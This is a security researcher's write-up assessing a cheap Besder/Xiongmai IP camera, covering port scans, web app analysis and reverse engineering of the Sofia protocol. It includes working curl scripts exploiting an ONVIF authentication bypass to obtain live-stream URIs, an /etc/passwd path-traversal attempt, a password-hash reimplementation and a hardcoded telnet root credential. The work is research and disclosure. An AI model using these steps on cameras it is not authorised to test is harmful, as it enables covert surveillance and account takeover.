Security assesment of cheap and old Chinese IP camera (Part 1)
- Security Assessment of Besder 6024PB-XMA501 IP Camera
- Setup
- Device Discovery
- Port Scan
- ONVIF Capabilities
- Port 80: Web Application
- Port 34567: Reverse Engineering of Dhanalakshmi Service
- Port 12901: Unknown service
- Resources
- Conclusion
Camera was set up using ICSee smartphone app. 5GHz Wi-Fi is not supported by the camera, 2.4GHz needs to be used.
Note: the camera does not appear on a local network before configuration.
When connected to Wi-Fi, QR code needs to be scanned with the camera to bind it with a smartphone.
The setup is then complete. On successful addition, the default password needs to be changed (default credentials are admin:<empty>).
During camera setup, Wireshark captured 109 packets from camera to broadcast address (cameras port 34569/UDP was used for it) with the following JSON payload:
{
"NetWork.NetCommon":
{
"BuildDate": "2020-11-24 16:47:14",
"ChannelNum": 1,
"DeviceType": 24,
"GateWay": "0x0100A8C0", # Gateway IP address as string of bytes in little-endian order
"HostIP": "0x6700A8C0", # Camera IP address as string of bytes in little-endian order
"HostName": "<redacted>; has a prefix \"camera_\" and includes last two bytes of IP cameras MAC address",
"HttpPort": 80,
"MAC": "<redacted>; MAC address of IP camera",
"MonMode": "TCP",
"NetConnectState": 0,
"OtherFunction": "D=2026-01-26 09:39:00 V=d7c59c8b475d964",
"SN": "<redacted>; serial number of IP camera",
"SSLPort": 8443,
"Submask": "0x00FFFFFF",
"TCPMaxConn": 10,
"TCPPort": 34567,
"UDPPort": 34568,
"UseHSDownLoad": false,
"Version": "V5.00.R02.00030747.10010.349f17.0000000"
},
"Ret": 100,
"SessionID": "0x00000000"
}60 queries were also sent from port 34571/UDP:
{
"NetWork.NetCommon" :
{
"HostIP" : "0x6700a8c0",
"HostName" : "IPC",
"DeviceType" : 24,
"MAC" : "<redacted>",
"SN" : "<redacted>",
"TCPPort" : 34567
},
"SearchType" : "Config"
}Use arp-scan -l to discover active hosts:
The Besder camera appears as AltoBeam (Xiamen) Technology Ltd, Co. device as it is a WiFi chipset manufacturer for this Besder camera.
ARP scan also confirms the IP address of the camera seen in the previous Wireshark capture.
One thing to note is that every time the camera is connected, it gets IP address assigned dynamically, in the range of at least 192.168.0.100 - 192.168.0.103. Also, in the web interface, a default static address (albeit disabled) is set to 192.168.0.10.
To quickly scan all 65535 TCP ports, sudo nmap -sS -Pn -T5 -p- ${camera-ip} command was used:
All open ports were scanned with sudo nmap -p 80,554,8899,12901,34567 -sV -O -sC -oN portscan.txt ${camera-ip}
# Nmap 7.98 scan initiated Tue Jan 20 12:35:36 2026 as: /usr/lib/nmap/nmap -p 80,554,8899,12901,34567 -sV -O -sC -oN portscan.txt 192.168.0.102
Nmap scan report for 192.168.0.102
Host is up (0.0064s latency).
PORT STATE SERVICE VERSION
80/tcp open http
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.0 200 OK
| Content-type: text/html
| Expires: 0
| <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
| <html xmlns="http://www.w3.org/1999/xhtml">
| <head>
| <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
| <meta http-equiv="X-UA-Compatible" content="IE=edge"/>
| <link rel="stylesheet" type="text/css" media="screen" href="m.css" />
| <title>NETSurveillance WEB</title>
| <!-- m.js -->
| <script type="text/javascript" language="JavaScript">
| bCrossBrow=false;
| bnpCheck = false;
| showemailflag=0;
| ShowTipFlag=2;
| //wzy 20190904
| g_initWidth = document.documentElement.clientWidth;
| SupportFind=false;
| if(navigator.platform != "Win32")//
| userAgent = navigator.userAgent,
|_ rMsie = /(msies|trident.
|_http-title: NETSurveillance WEB
554/tcp open rtsp H264DVR rtspd 1.0
|_rtsp-methods: OPTIONS, DESCRIBE, SETUP, TEARDOWN, GET_PARAMETER, SET_PARAMETER, PLAY, PAUSE
8899/tcp open ospf-lite?
12901/tcp open unknown
34567/tcp open dhanalakshmi?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.98%I=7%D=1/20%Time=696FBCEC%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,1C80,"HTTP/1\.0\x20200\x20OK\r\nContent-type:\x20text/html\r\nEx
SF:pires:\x200\r\n\r\n<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XHTM
SF:L\x201\.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DTD/
SF:xhtml1-transitional\.dtd\">\r\n<html\x20xmlns=\"http://www\.w3\.org/199
SF:9/xhtml\">\r\n<head>\r\n\x20\x20\x20\x20<meta\x20http-equiv=\"Content-T
SF:ype\"\x20content=\"text/html;\x20charset=UTF-8\"\x20/>\r\n\t<meta\x20ht
SF:tp-equiv=\"X-UA-Compatible\"\x20content=\"IE=edge\"/>\r\n\x20\x20\x20\x
SF:20<link\x20rel=\"stylesheet\"\x20type=\"text/css\"\x20media=\"screen\"\
SF:x20href=\"m\.css\"\x20/>\r\n\x20\x20\x20\x20\r\n\x20\x20\x20\x20<title>
SF:NETSurveillance\x20WEB</title>\r\n\x20\x20\x20\x20\r\n\x20\x20\x20\x20<
SF:!--\x20m\.js\x20-->\r\n\r\n\x20\x20\x20\x20<script\x20type=\"text/javas
SF:cript\"\x20language=\"JavaScript\">\r\n\x20\x20\x20\x20\x20var\x20bCros
SF:sBrow=false;\r\n\t\x20var\x20bnpCheck\x20=\x20false;\r\nvar\x20showemai
SF:lflag=0;\r\nvar\x20ShowTipFlag=2;\r\n\t\x20//wzy\x2020190904\r\n\x20\x2
SF:0\x20\x20\x20var\x20g_initWidth\x20=\x20document\.documentElement\.clie
SF:ntWidth;\r\n\t\r\n\t//\x20var\x20SupportFind=false;\r\n\t\x20\x20\x20\x
SF:20\r\n\tif\(navigator\.platform\x20!=\x20\"Win32\"\)//\r\n\t{\r\n\t}\r\
SF:n\tvar\x20userAgent\x20=\x20navigator\.userAgent,\x20\x20\x20\r\n\t\t\t
SF:rMsie\x20=\x20/\(msie\\s\|trident\.")%r(HTTPOptions,1F95,"HTTP/1\.0\x20
SF:200\x20OK\r\nContent-type:\x20text/html\r\nExpires:\x200\r\n\r\n<!DOCTY
SF:PE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XHTML\x201\.0\x20Transitional/
SF:/EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DTD/xhtml1-transitional\.dtd\"
SF:>\r\n<html\x20xmlns=\"http://www\.w3\.org/1999/xhtml\">\r\n<head>\r\n\x
SF:20\x20\x20\x20<meta\x20http-equiv=\"Content-Type\"\x20content=\"text/ht
SF:ml;\x20charset=UTF-8\"\x20/>\r\n\t<meta\x20http-equiv=\"X-UA-Compatible
SF:\"\x20content=\"IE=edge\"/>\r\n\x20\x20\x20\x20<link\x20rel=\"styleshee
SF:t\"\x20type=\"text/css\"\x20media=\"screen\"\x20href=\"m\.css\"\x20/>\r
SF:\n\x20\x20\x20\x20\r\n\x20\x20\x20\x20<title>NETSurveillance\x20WEB</ti
SF:tle>\r\n\x20\x20\x20\x20\r\n\x20\x20\x20\x20<!--\x20m\.js\x20-->\r\n\r\
SF:n\x20\x20\x20\x20<script\x20type=\"text/javascript\"\x20language=\"Java
SF:Script\">\r\n\x20\x20\x20\x20\x20var\x20bCrossBrow=false;\r\n\t\x20var\
SF:x20bnpCheck\x20=\x20false;\r\nvar\x20showemailflag=0;\r\nvar\x20ShowTip
SF:Flag=2;\r\n\t\x20//wzy\x2020190904\r\n\x20\x20\x20\x20\x20var\x20g_init
SF:Width\x20=\x20document\.documentElement\.clientWidth;\r\n\t\r\n\t//\x20
SF:var\x20SupportFind=false;\r\n\t\x20\x20\x20\x20\r\n\tif\(navigator\.pla
SF:tform\x20!=\x20\"Win32\"\)//\r\n\t{\r\n\t}\r\n\tvar\x20userAgent\x20=\x
SF:20navigator\.userAgent,\x20\x20\x20\r\n\t\t\trMsie\x20=\x20/\(msie\\s\|
SF:trident\.");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: broadband router|general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3.10 cpe:/o:linux:linux_kernel:3
OS details: DD-WRT v24 or v30 (Linux 3.10), Linux 3.2 - 3.16
Network Distance: 2 hops
Service Info: Device: storage-misc
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jan 20 12:38:53 2026 -- 1 IP address (1 host up) scanned in 197.14 seconds
Nmap flags port 8899 as ospf-lite - one experimental internet draft (that expired on November 6, 2010) can be found online regarding this protocol. It is mentioned that Internet Assigned Numbers Authority (IANA) has reserved port 8899 (both TCP and UDP) for ospf-lite, but no further information has been found yet.
Anyways, for Besder/Xiongmai cameras TCP port 8899 is actually reserved for Open Network Video Interface Forum (ONVIF) service. Based on Wireshark capture for the exploits shown below, this camera uses hsoap 2.8 library that implements Simple Object Access Protocol (SOAP) - XML-based messaging protocol for structured information exchange and device management.
Note: ONVIF is not accessible while camera is not configured with ICSee app.
The CVE-2025-65857 id is given to this specific vulnerability, so let’s walk through it.
Main thing to look for here is to try and dig up an Uniform Resource Identifier (URI) for Real-Time Streaming Protocol (RTSP) and check for unauthenticated access to live stream of the camera. It can be done either by using curl from (Linux) command line or onvif-zeep library for Python 3. Let’s try both methods.
Every XML SOAP response does include it’s namespace declarations - whether or not all listed operations are supported by Besder 6024PB-XMA501 IP camera is a question of further research:
ONVIF availability can be verified by issuing GetDeviceInformation method:
#!/bin/sh
if [[ $# == 1 ]]; then # Accept only 1 argument
if [[ ${1} =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]; then # Match a valid IP address
curl -X POST http://${1}:8899/onvif/device_service \
-H "Content-Type: application/soap+xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<s:Envelope xmlns:s="[http://www.w3.org/2003/05/soap-envelope](http://www.w3.org/2003/05/soap-envelope)">
<s:Body>
<GetDeviceInformation xmlns="[http://www.onvif.org/ver10/device/wsdl](http://www.onvif.org/ver10/device/wsdl)"/>
</s:Body>
</s:Envelope>' > device_information.xml
xmllint --format device_information.xml > tmp
mv tmp device_information.xml
else
printf "Invalid IP address\n"
fi
else
printf "Takes only 1 argument - IP address\n"
fiThe camera returns model name, firmware version and XMeye P2P Cloud ID (SerialNumber) - all without any authentication:
<s:Body>
<tds:GetDeviceInformationResponse>
<tds:Manufacturer>H264</tds:Manufacturer>
<tds:Model>XM530_50X50-WG_8M</tds:Model>
<tds:FirmwareVersion>V5.00.R02.00030747.10010.349f17..ONVIF 16.12</tds:FirmwareVersion>
<tds:SerialNumber>Redacted</tds:SerialNumber>
<tds:HardwareId>00001</tds:HardwareId>
</tds:GetDeviceInformationResponse>
</s:Body>
</s:Envelope>Key information got from this query:
- Model: XM530_50X50-WG_8M
- Firmware version: V5.00.R02.00030747.10010.349f17..ONVIF 16.12
- Serial number: <redacted>
Now, to get all supported methods, execute GetCapabilities method:
#!/bin/sh
if [[ $# == 1 ]]; then # Accept only 1 argument
if [[ ${1} =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]; then # Match a valid IP address
curl -s -X POST http://${1}:8899/onvif/device_service \
-H "Content-Type: application/soap+xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<s:Envelope xmlns:s="[http://www.w3.org/2003/05/soap-envelope](http://www.w3.org/2003/05/soap-envelope)">
<s:Body>
<GetCapabilities xmlns="[http://www.onvif.org/ver10/device/wsdl](http://www.onvif.org/ver10/device/wsdl)">
<Category>All</Category>
</GetCapabilities>
</s:Body>
</s:Envelope>' > device_capabilities.xml
xmllint --format device_capabilities.xml > tmp
mv tmp device_capabilities.xml
else
printf "Invalid IP address\n"
fi
else
printf "Takes only 1 argument - IP address\n"
fiResponse is the following list of supported capabilities:
Looking for RTSP URIs, http://<camera-ip>:8899/onvif/media_service is a relevant endpoint. Next step is to query this endpoint with GetProfiles method - this method describes all available media stream configurations on the camera:
#!/bin/sh
if [[ $# == 1 ]]; then # Accept only 1 argument
if [[ ${1} =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]; then # Match a valid IP address
curl -s -X POST http://${1}:8899/onvif/media_service \
-H "Content-Type: application/soap+xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<s:Envelope xmlns:s="[http://www.w3.org/2003/05/soap-envelope](http://www.w3.org/2003/05/soap-envelope)">
<s:Body>
<GetProfiles xmlns="[http://www.onvif.org/ver10/media/wsdl](http://www.onvif.org/ver10/media/wsdl)"/>
</s:Body>
</s:Envelope>' > device_profiles.xml
xmllint --format device_profiles.xml > tmp
mv tmp device_profiles.xml
else
printf "Invalid IP address\n"
fi
else
printf "Takes only 1 argument - IP address\n"
fiWhich leads to the following device profiles:
Now it is necessary to parse the XML output for a profile token which will be used to access the main RTSP stream. Parsing was done with grep -A 1 trt:Profile <output>.xml command - looking for the following string:
<trt:Profiles fixed="true" token="PROFILE_000">
<tt:Name>mainStream</tt:Name>Now, let’s use the token found with GetStreamUri method:
#!/bin/sh
if [[ $# == 1 ]]; then # Accept only 1 argument
if [[ ${1} =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]; then # Match a valid IP address
curl -s -X POST http://${1}:8899/onvif/media_service \
-H "Content-Type: application/soap+xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<s:Envelope xmlns:s="[http://www.w3.org/2003/05/soap-envelope](http://www.w3.org/2003/05/soap-envelope)">
<s:Body>
<GetStreamUri xmlns="[http://www.onvif.org/ver10/media/wsdl](http://www.onvif.org/ver10/media/wsdl)">
<ProfileToken>PROFILE_000</ProfileToken>
<StreamSetup>
<Stream xmlns="[http://www.onvif.org/ver10/schema](http://www.onvif.org/ver10/schema)">RTP-Unicast</Stream>
<Transport xmlns="[http://www.onvif.org/ver10/schema](http://www.onvif.org/ver10/schema)">
<Protocol>RTSP</Protocol>
</Transport>
</StreamSetup>
</GetStreamUri>
</s:Body>
</s:Envelope>' > device_stream.xml
xmllint --format device_stream.xml > tmp
mv tmp device_stream.xml
else
printf "Invalid IP address\n"
fi
else
printf "Takes only 1 argument - IP address\n"
fiThe following response was sent:
<s:Body>
<trt:GetStreamUriResponse>
<trt:MediaUri>
<tt:Uri>rtsp://<camera-ip>:554/user=admin_password=<password_hash>_channel=0_stream=0.sdp?real_stream</tt:Uri>
<tt:InvalidAfterConnect>false</tt:InvalidAfterConnect>
<tt:InvalidAfterReboot>false</tt:InvalidAfterReboot>
<tt:Timeout>PT60S</tt:Timeout>
</trt:MediaUri>
</trt:GetStreamUriResponse>
</s:Body>The response gives RTSP URI with hardcoded credentials and following it gives access to main live stream of Besder IP camera:
Using python-onvif-zeep library. Script takes 4 positional arguments:
- IP address
- ONVIF port
- Username (default: admin)
- Password (default: <empty>) - this field is required by Python ONVIF library, although exact value is irrelevant for the exploit as it is not being checked anywhere.
For Besder 6024PB-XMA501, default credentials are printed on the camera itself. A sample script is provided at ONVIF_auth_bypass directory as xm_onvif_auth_bypass.py
Running the script identifies 2 RTSP streams:
- Main stream:
rtsp://<camera-ip>:554/user=admin_password=<password_hash>_channel=0_stream=0.sdp?real_stream - Sub stream:
rtsp://<camera-ip>:554/user=admin_password=<password_hash>_channel=0_stream=1.sdp?real_stream
Note about credentials:
- User: admin
- Password: 8 byte length hash of a password that was created during initial camera setup with ICSee app, see Section
Password Hash Functionfor more details
NetsurveillanceWEB application is running on port 80. Although, when trying to access it with Firefox, I am greeted with a message that I require Firefox version 51 (released in Jan 24, 2017) or earlier:
NETSurveillanceWEB checks for the browser versions presented in the table below:
| Browser | Version | Release Date |
|---|---|---|
| Firefox | 51.0 | January 24, 2017 |
| Opera | 33.0 | October 27, 2015 |
| Chrome | 44.0 | July 21, 2015 |
| Safari | 9.0 | September 30, 2015 |
To further test the camera, an old Windows 10 19H2 virtual machine was deployed. That was because opening NETSurveillanceWEB control panel requires a legacy browser with ActiveX controls enabled and the easiest way to obtain them is to run the control panel on Internet Explorer:
Web application requires ActiveX plugin for correct operation. Download button redirects to hxxp[://]xmsecu[.]com:8080/ocx/NewActive[.]exe which then redirects to a different location:
curl -i -v hxxp[://]xmsecu[.]com:8080/ocx/NewActive[.]exe
# Response
HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Sat, 24 Jan 2026 10:34:35 GMT
Content-Type: text/html
Content-Length: 162
Connection: keep-alive
Location: hxxps[://]ocx[.]jftechws[.]com/ocx/NewActive[.]exe
<html>
<head><title>301 Moved Permanently</title></head>
<body>
<center><h1>301 Moved Permanently</h1></center>
<hr><center>nginx</center>
</body>
</html>Following the redirect gives the 404 Not Found error:
curl -L -i -v hxxp[://]xmsecu[.]com:8080/ocx/NewActive[.]exe
# Response
HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Sat, 24 Jan 2026 10:34:57 GMT
Content-Type: text/html
Content-Length: 162
Connection: keep-alive
Location: hxxps[://]ocx[.]jftechws[.]com/ocx/NewActive[.]exe
HTTP/1.1 404 Not Found
Server: nginx
Date: Sat, 24 Jan 2026 10:35:00 GMT
Content-Type: text/html
Content-Length: 146
Connection: keep-alive
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: *
Access-Control-Allow-Methods: GET, POST, OPTIONS, PUT, DELETE
Access-Control-Allow-Credentials: true
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx</center>
</body>
</html>NewActive binary is not found. Luckily, Wayback machine has 56 captures of the URL. The snapshot from March 9, 2021 allows to download NewActive[.]exe - installer for Netsurveillance CMS. Setting this up and enabling ActiveX in Internet Explorer allows access to login page:
Login credentials are admin:<password created during setup on ICSee app>. After successful login, NETSurveillanceWEB control panel opens and there is a possibility to choose either main media stream or extra (lower resolution) stream:
Wireshark was used to collect network traffic, which does include:
- Opening the NETSurveillanceWEB control panel.
- Connecting to the control panel.
- 70 seconds of video stream.
Filtered only for bidirectional network traffic between Windows 10 VM and Besder IP camera with ip.src == 192.168.0.100 && ip.dst == 192.168.122.66 || ip.src == 192.168.122.66 && ip.dst == 192.168.0.100
Web application - single HTML file with embedded Javascript and 3.5K lines - is sent to the VM:
Also, a file called m.jsp is downloaded:
From a security researcher point of view, the main problem with the version of NewActive.exe I have downloaded (Wayback machine snapshot from 2021-03-09) is that all the information exchanged with this IP camera via port 34567 shows as encrypted in Wireshark:
This encrypted information flow includes video stream, camera controls and login credentials. Luckily (again), the snapshot of NewActive.exe on Wayback machine that dates back to 2019 October 15th shows much nicer view to the information exchange:
To figure out what encryption method does the newer version use, it would be required to reverse engineer ActiveX controls (.ocx files, that essentially are library files for ActiveX), namely web.ocx and is out of scope for this article.
m.jsp starts with a Javacript packer function that seemingly was used Dean Edwards JS packer tool from 2004.
Along with this function is included a packed version of the actual code which then is unpacked on the client side. To unpack it, one can output the packer function’s return value to the console of a browser or use UnPacker tool by Matthewfl.
One method to unpack the file is to use UnPacker tool by Matthewfl
Create a boilerplate HTML and save it as index.html:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>HTML 5 Boilerplate</title>
<link rel="stylesheet" href="style.css">
</head>
<body>
<script src="m.jsp"></script>
</body>
</html>Add console.log(p); before the return statement of packed function, open index file on a browser and start developer tools (e.g. F12) and open console:
The code unpacks to MooTools v1.11 Javascript framework. Analyzing the framework and the NETSurveillanceWEB application itself is a subject for further research and is out of scope for this article.
As mentioned before, a 3.5K line HTML file - NETSurveillanceWEB control panel - with embedded javascript was sent via HTTP.
Some interesting artifacts found:
//wzy 20190904- timestamp, revealing a potential time period when this version was created.//ipaddress = “10.10.88.6”- internal IP address, potentially used to test the webapp.//PswMsg();- a commented out function call in a login function - a call that does not point to any actual function, at least not in the web application version present in this camera model.
The following function is being used to log into the control panel of IP camera:
function ld() {
gexiti = 0;
gExitChannel[0] = 0;
gExitSubType[0] = true;
var username = $("username").value;
var password = $("password").value;
var ocxlanguage = $("langlist").selectedIndex + 1;
var r = ocx.Login(ipaddress, hostport, username, password);
if (r == -11700) {
location = "err.htm";
}
if (r > 0) {
//PswMsg();
getcl();
timeup(2);
$('password').value = "";
$('login').style.display = "none";
$('m').style.top = "0px";
resize();
settings['username'] = username;
settings['ocxlanguage'] = ocxlanguage;
savesetting();
getAudio();
try {
ocx.SetPsw();
} catch (e) {
}
if (gAutoPlayAll) {
ocx.PlayAll();
}
g_bClose = false;
//初始化IPC对讲
SetTalkIpcAll();
}
}Username and password are saved as global Javascript variables. For login procedure, the portal is programmed to use ocx - which stands for OLE Control Extension - an ActiveX control file that implements Component Object Model (COM) interfaces required for ActiveX functionality. The ocx.Login function takes 4 arguments:
- ipaddress
- hostport
- username
- password
Then returns a response (r). If r == -11700 , an error screen is returned and now I am suspected of using a pirated version of Xiongmai program:
If response code is greater than 0, then media channel (audio, video) information of a camera is collected and a navigation menu is built, then 2 second timer to draw actual UI and load ActiveX controls, then the password variable is cleared and login screen hidden. Lastly, ActiveX saves password somewhere and prompts to select video stream (main or extra).
Defined JavaScript objects specifying CSS layout for username/password fields and login button, followed by hardcoded locations for downloading NewActive.exe - a set of ActiveX methods for accessing and controlling the Besder IP camera:
var InputName={
"width":133,
"height":25,
"marginLeft":0,
"marginRight":120,
"marginTop":0,
"marginBottom":0
}
var SpanLoginName={
"marginTop":0
}
var SpanPassword={
}
var InputPassword={
"width":133,
"height":25,
"marginLeft":0,
"marginRight":120,
"marginTop":0,
"marginBottom":0
}
var LoginButton={
"width":88,
"height":28,
"marginLeft":0,
"marginRight":0,
"marginTop":0,
"marginBottom":0
}
var LogoNumbers=1;
var LoardAddress="hxxp[://]xmsecu[.]com:8080/ocx/NewActive[.]exe";//if Null download cab else download exe
var cabAddress="web.cab#version=1,0,0,1";
var DownLoadAddr="hxxp[://]xmsecu[.]com:8080/ocx/NewActive[.]exe";
var logoString='NetSurveillance';
var copyright=2016;CVE-2017-7577 is a Local File Inclusion (LFI) / Directory Traversal vulnerability, exploiting uc-httpd 1.0.0 HTTP daemon. While nmap scan does not provide the exact version of httpd running on Besder camera, let’s try this exploit using Burp.
- Capture the initial HTTP request:
-
Right-click on request → Do intercept → Response to this request.
-
Change GET request to
GET ../../../../../etc/passwd HTTP/1.0:
-
Forward the request.
-
It returns 404 error:
<html>
<head>
<title>
404 File Not Found
</title>
</head>
<body>
The requested URL was not found on this server
</body>
</html>Payload did not work, CVE might be patched.
Extensive analysis of a cheap Chinese DVR (SECULINK - Security Monitoring) by tothi reveals that port 34567 is controlled by a binary called Sofia. Key findings of this write-up include:
- Reverse engineering of Sofia binary:
- Debug service running on port 9527/TCP - can be used to obtain hardcoded credentials for telnet daemon (port 23/TCP) (root:xc3511 - password cracked from a weak DES hash).
- Having root access to a live firmware (via telnet) allows for dynamic analysis with gdb.
- A stack-based buffer overflow vulnerability.
Besder 6024PB-XMA501 has ports 23 and 9527 closed by default and I am yet to find a way to obtain a shell access to this device. In the meantime, let’s take a look at a password hash function.
The following hash function is provided by tothi in the Github repo (comments added by me):
import hashlib
def sofia_hash(msg):
"""Reverse engineered hash function of Sofia binary"""
h = ""
# Get MD5 hash of a password
m = hashlib.md5()
m.update(msg)
msg_md5 = m.digest() # 16 bytes in length
"""
Each iteration adds 1 char to Sofia hash, which has 8 characters in total
Traverse MD5 hash sequentially, 2 bytes (chars) at a time
ord() returns unicode value of a given character
Two values are added together and remainder after division from 62 is saved
Thus n is in the range [0-61]
Which is then converted back into a character within one of the either:
[0-9]
[a-z]
[A-Z]
"""
for i in range(8):
n = (ord(msg_md5[2*i]) + ord(msg_md5[2*i+1])) % 0x3e # 0x3e = 62 (hex -> dec)
if n > 9:
if n > 35:
n += 61 # Range: [a-z]
else:
n += 55 # Range: [A-Z]
else:
n += 0x30 # 0x30 = 48 (hex -> dec); Range: [0-9]
h += chr(n)
return hBelow is the updated code to work with Python3 (tested with Python 3.14.2):
#!/usr/bin/env python3
import sys
import hashlib
def sofia_hash(msg):
if isinstance(msg, str):
msg = msg.encode("utf-8") # Use bytes instead of string
h = ""
m = hashlib.md5()
m.update(msg)
msg_md5 = m.digest()
for i in range(8):
# Returns integer without conversion
n = (msg_md5[2 * i] + msg_md5[2 * i + 1]) % 0x3E
if n > 9:
if n > 35:
n += 61
else:
n += 55
else:
n += 0x30
h += chr(n)
return h
def main():
try:
msg = sys.argv[1]
print(f"Msg: {msg}, hash: {sofia_hash(msg)}")
except Exception as e:
print(f"No password provided: {e}")
if __name__ == "__main__":
main()Now, if I try to hash a password I created on camera setup, I get this result:
I configured a password for the camera - 1.QwertY.6 - on ICSee app during initial setup. Turns out, its hash - CtgKwSh3 - is the same hash that appears on RTSP URI, which I queried with GetStreamUri ONVIF method.
A cracker.py script is used to crack the Sofia hash. It is a script that in its current state only does a simple dictionary attack against the hash. Sofia hash from the IP camera is obtained by exploiting either an aforementioned ONVIF authentication bypass vulnerability, or exploiting another authentication bypass vulnerability in the proprietary Sofia protocol itself.
Xiongmai Devices Unauthorized Incorrect Access Control and Command Execution - vulnerability, newly discovered by netsecfish that allows unauthorized command execution on Sofia binary by first sending a crafted packet containing an undocumented command code f103 (little-endian hex for 1009) to the device. Executing this proof-of-concept on Besder 6024PB-XMA501 results in the following Wireshark capture:
Xiongmai uses a proprietary DVRIP/Sofia protocol for both controlling the camera (configuration, information probing, etc.) and receiving audio/video streams. Each packet is comprised of a header and a payload. An approximate structure of a single packet from Xiongmais proprietary protocol is based on Dahua DVRIP dissector by Thomas Vogt and my own captures of traffic on port 34567.
- Header - first 20 bytes of DVRIP packet. I distinguished 7 fields in the header, each field had their order reversed to little-endian before converting to decimal value:
- Start of DVRIP packet (Byte 1)
- Request/Response (Bytes 2-4)
- Session ID (Bytes 5-8)
- Sequence ID (Bytes 9-12)
- Unknown, always observed to be 0 (Bytes 13-14)
- Command code (Bytes 15-16)
- Payload length (Bytes 17-20)
- Payload:
- Camera controls are sent and responses are received as JSON objects with a length defined in payload length field.
- Media is being sent in DVRIP packets with payload length of 8192 bytes.
- Camera control packets has a trailing newline character after JSON object (either
0x0aor0x000a).
Xiongmai DVRIP/Sofia dissector for Wireshark (written in Lua)
The following is how this dissector looks in Wireshark:
Following are a couple of examples on how does the dissector works on DVRIP/Sofia packets.
Request header: ff00000001000000000000000000ee0335000000:
- Header: 0x00ff (255)
- Request/response: 0x0000 (0)
- Session ID: 0x0001 (1)
- Sequence ID: 0x0000 (0) - first request packet
- Unknown: 0x0000 (0)
- Command Code: 0x03ee (1006)
- Payload Length: 0x0035 (53)
Request payload:
{
"Name" : "KeepAlive",
"SessionID" : "0x00000001"
}Response header: ff01000001000000000000000000ef0343000000:
- Header: 0x00ff (255)
- Request/response: 0x0001 (1)
- Session ID: 0x0001 (1)
- Sequence ID: 0x0000 (0) - first response packet
- Unknown: 0x0000 (0)
- Command Code: 0x03ef (1007)
- Payload Length: 0x0043 (67)
Response payload:
{
"Name" : "KeepAlive",
"Ret" : 100,
"SessionID" : "0x00000001"
}Starting media stream via Sofia protocol is a three step process. It starts with a request with a following header - ff000000060000000000000000008505b8000000 - that decodes to:
- Header: 0x00ff (255)
- Request/response: 0x0000 (0)
- Session ID: 0x0006 (6)
- Sequence ID: 0x0000 (0)
- Unknown: 0x0000 (0)
- Command Code: 0x0585 (1413)
- Payload Length: 0x00b8 (184)
With it is an attached payload:
{
"Name" : "OPMonitor",
"OPMonitor" :
{
"Action" : "Claim",
"Parameter" :
{
"Channel" : 0,
"CombinMode" : "NONE",
"StreamType" : "Main",
"TransMode" : "TCP"
}
},
"SessionID" : "0x6"
}The IP camera responds with a DVRIP/Sofia packet that has the following header - ff01000006000000010000000000860543000000, decoding to:
- Header: 0x00ff (255)
- Request/response: 0x0001 (1)
- Session ID: 0x0006 (6)
- Sequence ID: 0x0001 (1)
- Unknown: 0x0000 (0)
- Command Code: 0x0586 (1414)
- Payload Length: 0x0043 (67)
And the following payload:
{
"Name" : "OPMonitor",
"Ret" : 100,
"SessionID" : "0x00000006"
}Return code 100 indicates successful operation, after which the second request is being sent with a following header - ff000000060000000000000000008205b8000000:
- Header: 0x00ff (255)
- Request/response: 0x0000 (0)
- Session ID: 0x0006 (6)
- Sequence ID: 0x0000 (0)
- Unknown: 0x0000 (0)
- Command Code: 0x0582 (1410)
- Payload Length: 0x00b8 (184)
Payload of this header indicates start operation of the main media stream:
{
"Name" : "OPMonitor",
"OPMonitor" :
{
"Action" : "Start",
"Parameter" :
{
"Channel" : 0,
"CombinMode" : "NONE",
"StreamType" : "Main",
"TransMode" : "TCP"
}
},
"SessionID" : "0x6"
}Camera responds with a packet that has the following header - ff01000006000000010000000000830543000000:
- Header: 0x00ff (255)
- Request/response: 0x0001 (1)
- Session ID: 0x0006 (6)
- Sequence ID: 0x0001 (1)
- Unknown: 0x0000 (0)
- Command Code: 0x0583 (1411)
- Payload Length: 0x0043 (67)
Payload also indicates a successful operation:
{
"Name" : "OPMonitor",
"Ret" : 100,
"SessionID" : "0x00000006"
}Finally, media channel title is taken from the camera. Packet header - ff00000006000000040000000000180438000000:
- Header: 0x00ff (255)
- Request/response: 0x0000 (0)
- Session ID: 0x0006 (6)
- Sequence ID: 0x0004 (4)
- Unknown: 0x0000 (0)
- Command Code: 0x0418 (1048)
- Payload Length: 0x0038 (56)
Payload of this packet is the following:
{
"Name" : "ChannelTitle",
"SessionID" : "0x00000006"
}Camera responds with a packet with media stream. Header - ff01000006000000000000000000840500200000:
- Header: 0x00ff (255)
